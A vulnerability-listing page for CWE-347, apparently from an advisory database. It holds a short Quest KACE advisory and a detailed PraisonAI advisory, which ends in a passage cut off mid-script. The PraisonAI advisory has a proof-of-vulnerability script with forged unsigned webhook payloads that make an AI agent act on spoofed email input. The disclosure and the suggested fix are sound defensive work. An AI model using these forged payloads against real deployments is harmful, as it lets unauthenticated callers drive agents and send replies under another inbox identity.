CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1438 vulnerabilities reference this CWE, most recent first.
GHSA-79HG-66HR-6J93
Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-11-03 21:34Quest KACE Systems Management Appliance (SMA) 13.0.x before 13.0.385, 13.1.x before 13.1.81, 13.2.x before 13.2.183, 14.0.x before 14.0.341 (Patch 5), and 14.1.x before 14.1.101 (Patch 4) allows unauthenticated users to upload backup files to the system. While signature validation is implemented, weaknesses in the validation process can be exploited to upload malicious backup content that could compromise system integrity.
{
"affected": [],
"aliases": [
"CVE-2025-32977"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-24T15:15:24Z",
"severity": "CRITICAL"
},
"details": "Quest KACE Systems Management Appliance (SMA) 13.0.x before 13.0.385, 13.1.x before 13.1.81, 13.2.x before 13.2.183, 14.0.x before 14.0.341 (Patch 5), and 14.1.x before 14.1.101 (Patch 4) allows unauthenticated users to upload backup files to the system. While signature validation is implemented, weaknesses in the validation process can be exploited to upload malicious backup content that could compromise system integrity.",
"id": "GHSA-79hg-66hr-6j93",
"modified": "2025-11-03T21:34:05Z",
"published": "2025-06-26T21:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32977"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2025/Jun/24"
},
{
"type": "WEB",
"url": "https://seralys.com/research/CVE-2025-32977.txt"
},
{
"type": "WEB",
"url": "https://support.quest.com/kb/4379499/quest-response-to-kace-sma-vulnerabilities-cve-2025-32975-cve-2025-32976-cve-2025-32977-cve-2025-32978"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jun/25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C92-X8VG-4258
Vulnerability from github – Published: 2026-10-07 14:07 – Updated: 2026-10-07 14:07AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Summary
praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.
Technical Details
The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL_WEBHOOK_SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event_type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape _handle_email_webhook() accepts before any signature verification.
src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In _start_webhook_mode(), PraisonAI registers POST {webhook_path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook_url is set, the same method calls client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...), but it does not store or use the returned webhook secret.
The handler then trusts the parsed JSON body. _handle_email_webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules _process_webhook_payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.
_process_webhook_payload() builds a BotMessage from attacker-controlled JSON fields: data.message_id, data.from/data.from_, data.subject, data.extracted_text/data.text, data.thread_id, and data.in_reply_to. It then calls _handle_message(message). _handle_message() fires message hooks, calls self._session.chat(self._agent, sender_id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.
This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.
PoV
the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.
The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event_type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.
Essential PoV excerpt:
class FakeRequest:
def __init__(self, body, headers=None, json_error=False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self):
if self._json_error:
raise ValueError("invalid json")
return self._body
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
payload = {
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)
Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with sender_id set to attacker@example.test and body set to invalid signature forged body.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
Run against a local checkout of current head:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c
Decisive current-head output:
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Run against the latest release tag observed during testing:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47
Decisive v4.6.62 output:
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message_id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.
Impact
If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.
The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.
This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.
Suggested Fix
Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmail_webhook_secret/AGENTMAIL_WEBHOOK_SECRET configuration value for existing webhook endpoints.
Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling _process_webhook_payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.
Suggested regression tests:
- webhook mode without a configured signing secret refuses startup or returns
401/400formessage.received; - missing Svix headers do not call
_process_webhook_payload(); - invalid Svix signature does not call
_process_webhook_payload(); - stale timestamp does not call
_process_webhook_payload(); - valid Svix signature for the raw body reaches
_process_webhook_payload(); - duplicate
message_idbehavior remains intact after verification succeeds.
Affected Package/Versions
Affected package: pypi:praisonai.
Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.
Sampled tag sweep:
v4.4.12 agentmail_absent
v4.5.16 agentmail_absent
v4.5.128 present_unsigned_webhook
v4.6.33 present_unsigned_webhook
v4.6.58 present_unsigned_webhook
v4.6.59 present_unsigned_webhook
v4.6.60 present_unsigned_webhook
v4.6.62 present_unsigned_webhook
current present_unsigned_webhook
Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot._handle_message().
Nearby advisories are distinct:
GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.GHSA-vg22-4gmj-prxw/CVE-2026-47391cover unauthenticated A2Amessage/send, not AgentMail webhooks.GHSA-86qc-r5v2-v6x6covers the call server token gap, not AgentMail webhook delivery.
Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.
References
- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification
- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create
- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q
- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw
- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr
- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html
- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html
- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.
The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""
from __future__ import annotations
import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any
class FakeResponse:
def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
self.status = status
self.text = text
self.content_type = content_type
class FakeRequest:
def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self) -> dict[str, Any]:
if self._json_error:
raise ValueError("invalid json")
return self._body or {}
class RecordingSession:
def __init__(self) -> None:
self.calls: list[dict[str, Any]] = []
async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
self.calls.append(
{
"sender_id": sender_id,
"body": body,
"chat_id": kwargs.get("chat_id"),
"message_id": kwargs.get("message_id"),
"account": kwargs.get("account"),
}
)
return "local agent response"
def install_fake_aiohttp() -> None:
web = types.SimpleNamespace(Response=FakeResponse)
sys.modules["aiohttp"] = types.SimpleNamespace(web=web)
def configure_import_path(repo: Path) -> None:
sys.path.insert(0, str(repo / "src" / "praisonai"))
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
before_calls = len(bot._session.calls)
before_sends = len(bot._sent_messages)
response = await bot._handle_email_webhook(request)
for _ in range(sleep_ticks):
await asyncio.sleep(0)
return {
"http_status": response.status,
"session_delta": len(bot._session.calls) - before_calls,
"send_delta": len(bot._sent_messages) - before_sends,
"session_calls": bot._session.calls[before_calls:],
"sent_messages": bot._sent_messages[before_sends:],
}
async def main_async(repo: Path, label: str) -> dict[str, Any]:
install_fake_aiohttp()
configure_import_path(repo)
from praisonai.bots.agentmail import AgentMailBot
from praisonaiagents.bots import BotConfig
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
bot._sent_messages = []
async def fake_send_message(**kwargs: Any) -> None:
bot._sent_messages.append(kwargs)
bot.send_message = fake_send_message
invalid_svix_headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
cases: dict[str, Any] = {}
cases["forged_unsigned_message"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-unsigned",
"from": "attacker@example.test",
"subject": "Forged unsigned message",
"extracted_text": "unsigned forged body",
},
}
),
)
cases["forged_invalid_svix_signature"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
},
headers=invalid_svix_headers,
),
)
cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
cases["non_message_event_control"] = await run_case(
bot,
FakeRequest(
{
"type": "domain.verified",
"data": {
"message_id": "msg-non-message",
"from": "attacker@example.test",
"extracted_text": "should not be processed",
},
}
),
)
cases["duplicate_message_control"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Duplicate",
"extracted_text": "duplicate should not create a second call",
},
},
headers=invalid_svix_headers,
),
)
vulnerable = (
cases["forged_unsigned_message"]["http_status"] == 200
and cases["forged_unsigned_message"]["session_delta"] == 1
and cases["forged_invalid_svix_signature"]["http_status"] == 200
and cases["forged_invalid_svix_signature"]["session_delta"] == 1
and cases["invalid_json_control"]["http_status"] == 400
and cases["invalid_json_control"]["session_delta"] == 0
and cases["non_message_event_control"]["session_delta"] == 0
and cases["duplicate_message_control"]["session_delta"] == 0
)
return {
"label": label,
"repo": str(repo),
"vulnerable": vulnerable,
"finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
"cases": cases,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path, required=True)
parser.add_argument("--label", default="current-head")
args = parser.parse_args()
result = asyncio.run(main_async(args.repo.resolve(), args.label))
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61436"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T14:07:10Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "HIGH"
},
"details": "# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents\n\n## Summary\n\n`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail\u0027s Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.\n\n## Technical Details\n\nThe affected boundary is webhook authenticity. AgentMail\u0027s webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail\u0027s documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI\u0027s accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.\n\n`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=[\"message.received\"], inbox_ids=...)`, but it does not store or use the returned webhook secret.\n\nThe handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get(\"type\", \"\")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.\n\n`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.\n\nThis report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.\n\n## PoV\n\nthe PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.\n\nThe forged JSON uses PraisonAI\u0027s accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail\u0027s verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.\n\nEssential PoV excerpt:\n\n```python\nclass FakeRequest:\n def __init__(self, body, headers=None, json_error=False):\n self._body = body\n self.headers = headers or {}\n self._json_error = json_error\n\n async def json(self):\n if self._json_error:\n raise ValueError(\"invalid json\")\n return self._body\n\nbot = AgentMailBot(\n token=\"am_local_test\",\n agent=object(),\n inbox_id=\"assistant@example.test\",\n config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n)\nbot._inbox_id = \"assistant@example.test\"\nbot._email_address = \"assistant@example.test\"\nbot._config = {}\nbot._session = RecordingSession()\n\npayload = {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged invalid signature\",\n \"extracted_text\": \"invalid signature forged body\",\n },\n}\nheaders = {\n \"svix-id\": \"msg_bad\",\n \"svix-timestamp\": \"1\",\n \"svix-signature\": \"v1,definitely-invalid\",\n}\n\nresponse = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))\nawait asyncio.sleep(0)\n```\n\nExpected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `attacker@example.test` and `body` set to `invalid signature forged body`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n```\n\nRun against a local checkout of current head:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c\n```\n\nDecisive current-head output:\n\n```json\n{\n \"label\": \"current-head-846568c\",\n \"vulnerable\": true,\n \"cases\": {\n \"forged_unsigned_message\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"forged_invalid_svix_signature\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"invalid_json_control\": {\n \"http_status\": 400,\n \"session_delta\": 0\n },\n \"non_message_event_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n },\n \"duplicate_message_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n }\n }\n}\n```\n\nRun against the latest release tag observed during testing:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47\n```\n\nDecisive `v4.6.62` output:\n\n```json\n{\n \"label\": \"v4.6.62-2a855c47\",\n \"vulnerable\": true,\n \"cases\": {\n \"forged_unsigned_message\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"forged_invalid_svix_signature\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"invalid_json_control\": {\n \"http_status\": 400,\n \"session_delta\": 0\n },\n \"non_message_event_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n },\n \"duplicate_message_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n }\n }\n}\n```\n\nInterpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.\n\n## Impact\n\nIf a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.\n\nThe concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.\n\nThis report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication.\n\n## Suggested Fix\n\nFail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints.\n\nVerify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes.\n\nSuggested regression tests:\n\n- webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`;\n- missing Svix headers do not call `_process_webhook_payload()`;\n- invalid Svix signature does not call `_process_webhook_payload()`;\n- stale timestamp does not call `_process_webhook_payload()`;\n- valid Svix signature for the raw body reaches `_process_webhook_payload()`;\n- duplicate `message_id` behavior remains intact after verification succeeds.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai`.\n\nLatest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected.\n\nSampled tag sweep:\n\n```text\nv4.4.12 agentmail_absent\nv4.5.16 agentmail_absent\nv4.5.128 present_unsigned_webhook\nv4.6.33 present_unsigned_webhook\nv4.6.58 present_unsigned_webhook\nv4.6.59 present_unsigned_webhook\nv4.6.60 present_unsigned_webhook\nv4.6.62 present_unsigned_webhook\ncurrent present_unsigned_webhook\n```\n\nConservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `\u003e= 4.5.128, \u003c= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`.\n\nNearby advisories are distinct:\n\n- `GHSA-fc26-m9pf-v56q`, \"PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing\", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.\n- `GHSA-x92v-rpx6-p6cw`, \"Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp \u0026 Linear bots)\", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.\n- `GHSA-qvpf-j64c-jmhr`, \"PraisonAI Slack app_mention bypasses configured user/channel authorization\", covers Slack event authorization, not AgentMail webhook authenticity.\n- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks.\n- `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery.\n\nPublic Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path.\n\n## References\n\n- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification\n- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create\n- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q\n- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw\n- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr\n- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html\n- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html\n- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI AgentMail webhook authenticity.\n\nThe script calls the AgentMail webhook handler directly with fake aiohttp\nrequests. It does not bind a port, contact AgentMail, or send email.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass FakeResponse:\n def __init__(self, status: int = 200, text: str = \"\", content_type: str | None = None):\n self.status = status\n self.text = text\n self.content_type = content_type\n\n\nclass FakeRequest:\n def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):\n self._body = body\n self.headers = headers or {}\n self._json_error = json_error\n\n async def json(self) -\u003e dict[str, Any]:\n if self._json_error:\n raise ValueError(\"invalid json\")\n return self._body or {}\n\n\nclass RecordingSession:\n def __init__(self) -\u003e None:\n self.calls: list[dict[str, Any]] = []\n\n async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -\u003e str:\n self.calls.append(\n {\n \"sender_id\": sender_id,\n \"body\": body,\n \"chat_id\": kwargs.get(\"chat_id\"),\n \"message_id\": kwargs.get(\"message_id\"),\n \"account\": kwargs.get(\"account\"),\n }\n )\n return \"local agent response\"\n\n\ndef install_fake_aiohttp() -\u003e None:\n web = types.SimpleNamespace(Response=FakeResponse)\n sys.modules[\"aiohttp\"] = types.SimpleNamespace(web=web)\n\n\ndef configure_import_path(repo: Path) -\u003e None:\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n\n\nasync def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -\u003e dict[str, Any]:\n before_calls = len(bot._session.calls)\n before_sends = len(bot._sent_messages)\n response = await bot._handle_email_webhook(request)\n for _ in range(sleep_ticks):\n await asyncio.sleep(0)\n return {\n \"http_status\": response.status,\n \"session_delta\": len(bot._session.calls) - before_calls,\n \"send_delta\": len(bot._sent_messages) - before_sends,\n \"session_calls\": bot._session.calls[before_calls:],\n \"sent_messages\": bot._sent_messages[before_sends:],\n }\n\n\nasync def main_async(repo: Path, label: str) -\u003e dict[str, Any]:\n install_fake_aiohttp()\n configure_import_path(repo)\n\n from praisonai.bots.agentmail import AgentMailBot\n from praisonaiagents.bots import BotConfig\n\n bot = AgentMailBot(\n token=\"am_local_test\",\n agent=object(),\n inbox_id=\"assistant@example.test\",\n config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n )\n bot._inbox_id = \"assistant@example.test\"\n bot._email_address = \"assistant@example.test\"\n bot._config = {}\n bot._session = RecordingSession()\n bot._sent_messages = []\n\n async def fake_send_message(**kwargs: Any) 